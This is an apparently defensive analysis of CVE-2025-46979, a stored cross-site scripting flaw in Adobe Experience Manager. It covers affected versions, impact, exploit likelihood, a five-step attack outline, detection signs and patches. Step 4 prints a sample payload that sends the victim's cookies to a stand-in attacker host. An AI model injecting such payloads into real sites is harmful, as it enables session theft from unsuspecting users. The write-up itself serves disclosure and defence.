CVE-2025-46979: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46979 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 13, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but only low privileges to inject the payload, and the scope is changed — meaning the impact crosses the security boundary of the originating page (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute unauthorized JavaScript in a victim's browser context, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and compromise of web application integrity. The confidentiality and integrity impacts are rated Low (per CVSS), but the changed scope means the attack can affect users and resources beyond the attacker's own session. Availability is not directly impacted (Adobe Advisory, Feedly).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46979. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, using web fingerprinting tools or public asset discovery.
2. Obtain low-privileged access: Register or obtain a low-privileged account on the target AEM instance (e.g., a contributor or author account).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input in form fields without adequate sanitization.
4. Inject stored XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to form submission endpoints from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected JavaScript or HTML script tags stored within AEM JCR (Java Content Repository) nodes, particularly in form field properties or page content nodes.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting specific AEM pages, potentially carrying cookie or session data as query parameters.
• Logs: Browser-side console errors or AEM error logs triggered by unexpected script execution on content pages.

Adobe has released patches addressing this vulnerability: update to AEM 6.5.23.0 (on-premise) or AEM Cloud Service 2025.5.0 (cloud). As interim mitigations, administrators should implement strict input validation and output encoding on all user-supplied form fields, restrict access to AEM authoring interfaces to trusted users only, and conduct a security audit of existing stored content for injected scripts. Monitoring for suspicious script injections in content repositories is also recommended (Adobe Advisory).